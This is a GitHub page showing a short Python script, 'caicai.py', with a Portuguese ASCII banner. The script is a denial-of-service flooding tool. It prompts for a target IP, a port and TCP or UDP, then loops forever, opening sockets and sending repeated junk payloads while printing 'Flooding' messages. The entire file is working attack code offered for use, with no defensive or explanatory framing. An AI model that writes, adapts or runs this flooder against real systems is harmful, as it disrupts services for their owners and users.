-
Notifications
You must be signed in to change notification settings - Fork 1
/
caicai.py
90 lines (76 loc) · 3.15 KB
/
caicai.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import socket
import random
import sys
print('''\r\n
****** ** ** ****** ** **
**////** **** /** **////** **** /**
** // **//** /** ** // **//** /**
/** ** //** /** /** ** //** /**
/** **********/** /** **********/**
//** **/**//////**/** //** **/**//////**/**
//****** /** /**/** //****** /** /**/**
////// // // // ////// // // //
┌─────────────────────────────────────────────────────┐
│ version 1.0.0 │
│ │
│ [!!!CAI CAI BALÃO!!!] │
│ │
│ Code By Julio Carneiro │
├─────────────────────────────────────────────────────┤
│ Github: https://github.com/juliocarneiro │
└─────────────────────────────────────────────────────┘\r\n''')
def main():
global port
global target
global protocol
global rpc
target = str(input("IP do alvo: "))
if target == "":
print("Digite algum valor e tente novamente!")
exit()
else:
target = str(target)
if target != "":
print("Alvo selecionado!")
port = str(input("Porta (HTTPS=443): "))
if port == "":
port = 80
print("Porta 80 selecionada")
else:
port = int(port)
if port == 443:
print("Porta 443 selecionada")
protocol = str(input("Protocolo (tcp/udp): "))
if protocol == "":
protocol = "tcp"
print("Protocolo TCP selecionado")
else:
protocol = protocol
rpc = str(input("Random Packet Creation(On/Off): "))
if rpc == "":
rpc = "Off"
print("RPC Off")
else:
rpc = rpc
adr = (target, port)
data = "qwertyuiopasdfghjklzxcvbnm0123456789~!@#$%^&*()+=`;?.,<>\|{}[]"
while True:
if protocol == 'TCP' or protocol == 'tcp' or protocol == 'Tcp' or protocol == 't':
Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
elif protocol == 'UDP' or protocol == 'udp' or protocol == 'Udp' or protocol == 'u':
Sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
Sock.connect(adr)
if rpc == 'ON' or rpc == 'On' or rpc == 'on':
Bytes = (data*random.randrange(16, 64))
BytesEnc = str.encode(Bytes)
elif rpc == 'OFF' or rpc == 'Off' or rpc == 'off':
Bytes = (data*64)
BytesEnc = str.encode(Bytes)
Sock.sendall(BytesEnc)
print('Flooding {0} na porta {1} com {2} bytes de dados'.format(
target, port, sys.getsizeof(BytesEnc)))
if socket.error:
Sock.shutdown(socket.SHUT_RDWR)
Sock.close
del Sock
main()